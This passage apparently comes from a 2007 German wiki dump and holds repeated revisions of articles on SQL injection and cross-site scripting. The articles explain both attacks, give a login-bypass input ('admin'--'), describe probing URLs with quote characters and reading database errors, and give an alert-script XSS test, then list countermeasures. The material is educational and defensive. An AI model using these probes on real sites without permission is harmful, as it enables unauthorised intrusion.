Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.

Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.

Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine
Vermischung dieser beiden Filterarten ist möglich.

=weiterführender Link=
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015]] Beispielliste mit sicheren
Datenbankabfragen in unterschiedlichen Programmiersprachen.

=Quellen=

[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners

[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com

[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html

[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion

[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html

[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html

[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015

[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff

[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff

=Siehe auch=

*[[Cross Site Scripting]]

*[[Codeinjection]]

*[[Whitelisting]]

*[[Blacklisting]]

[[Kategorie:Sicherheit]]

SQL Injection

2007-06-25T14:48:11Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.

Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die
Parameter einer URL an die Webseite weitergereicht werden.

=Beispiel=
Bei .asp und .cfm Skripten treten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.

SELECT * FROM users WHERE name ='$username' AND password ='$password'

In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:

"admin'--"

Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:

SELECT * FROM users WHERE name ='admin'--' AND password ='beliebig'.

Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch

SELECT * FROM users WHERE name ='admin'

verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.

Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da beispielsweise 2006 das T-Online Karriereform
so einen passwortlosen Zugang erlaubte.

=How to=

Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe
mit den Endungen ".asp" und ".cmf" gesucht, da hier die meisten Probleme zu erwarten sind [10]. Um die Anfälligkeit der so
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).

Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über
die Zahl 512

Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so
aussieht: „name=val’ue“.
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt
aussehen:

Fehlermeldungsart 1:

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string

’51 ORDER BY some_name’.

/some_directory/some_file.asp, line 5

Fehlermeldungsart 2:

ODBC Error Code = S1000 (General error)

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended

Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte
Anwendung für SQL-Injection zugänglich ist.

=Gegenmaßnahmen=

SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und
[[Prepared statements]].

Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer
Seite auf Schwachstellen testet.

(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.)

Da der Mensch allerdings gerade bei destruktiven Aufgaben weit
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind
in im weiterführenden Link zu finden.

Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -
das gilt auch für die Variablen in den URLs!

Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.

Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.

Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine
Vermischung dieser beiden Filterarten ist möglich.

=weiterführender Link=
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015]] Beispielliste mit sicheren
Datenbankabfragen in unterschiedlichen Programmiersprachen.

=Quellen=

[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners

[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com

[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html

[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion

[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html

[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html

[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015

[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff

[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff

=Siehe auch=

*[[Cross Site Scripting]]

*[[Codeinjection]]

*[[Whitelisting]]

*[[Blacklisting]]

[[Kategorie:Sicherheit]]

Cross Site Scripting

2007-06-25T14:41:32Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.

XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.

Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.

Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle
Informationen.

Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.

XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um
den angegriffenen Server unerreichbar zu machen.

==Reflektiertes XSS==

Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch
eine E-Mail Adresse sein.

Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.

==Persistentes (beständiges) XSS==

Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.

Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten
HTML-Code vorfinden.

==Lokales ([[DOM]]-basiertes) XSS==

Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.

Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den
Angreifer weitergeleitet werden.

Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,
da der lokale Benutzer oft gleichzeitig der Administrator ist.

Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.

==XSS – eine kleine „Anleitung“==

Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen
kann ein Anzeichen für die Anfälligkeit auf XSS sein.

Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.

Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS
geschützt ist.

Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.
„<script>alert(’hello’)</script>“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.

Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und
geprüft werden, ob der eingetragene String (<script>alert(’hello’)</script>) im HTML-Code der
Seite auftaucht oder nicht.

=Gegenmaßnahmen=

Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend
kurz vorgestellt:

– allow_url_fopen = off
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit
können keine Skripte von externen Servern mehr ausgeführt werden.

– open_basedir = /pfad/zum/www-ordner
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses
Verzeichnisses können weiterhin benutzt werden.

– save-mode = on
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine
weitere Steuerung ist durch weitere Optionen dennoch möglich.

– display_errors = off
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von
Fehlermeldungen zu unterbinden.

Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!

Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.
Steuerzeichen durch ihre Escapesequenzen ersetzen.

Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.

Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html

[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html

[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html

[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff

[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8

[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8

[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1

[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998

[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X

[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff

=Siehe auch=

[[SQL Injection]]

[[Codeinjection]]

[[Whitelisting]]

[[Blacklisting]]

[[Kategorie:Sicherheit]]

Cross Site Scripting

2007-06-25T14:40:43Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.

XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.

Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.

Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle
Informationen.

Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.

XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um
den angegriffenen Server unerreichbar zu machen.

==Reflektiertes XSS==

Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch
eine E-Mail Adresse sein.

Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.

==Persistentes (beständiges) XSS==

Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.

Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten
HTML-Code vorfinden.

==Lokales ([[DOM]]-basiertes) XSS==

Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.

Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den
Angreifer weitergeleitet werden.

Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,
da der lokale Benutzer oft gleichzeitig der Administrator ist.

Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.

==XSS – eine kleine „Anleitung“==

Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen
kann ein Anzeichen für die Anfälligkeit auf XSS sein.

Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.

Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS
geschützt ist.

Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.
„<script>alert(’hello’)</script>“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.

Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und
geprüft werden, ob der eingetragene String (<script>alert(’hello’)</script>) im HTML-Code der
Seite auftaucht oder nicht.

=Gegenmaßnahmen=

Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend
kurz vorgestellt:

– allow_url_fopen = off
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit
können keine Skripte von externen Servern mehr ausgeführt werden.

– open_basedir = /pfad/zum/www-ordner
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses
Verzeichnisses können weiterhin benutzt werden.

– save-mode = on
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine
weitere Steuerung ist durch weitere Optionen dennoch möglich.

– display_errors = off
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von
Fehlermeldungen zu unterbinden.

Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!

Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.
Steuerzeichen durch ihre Escapesequenzen ersetzen.

Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.

Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html

[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html

[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html

[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff

[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8

[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8

[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1

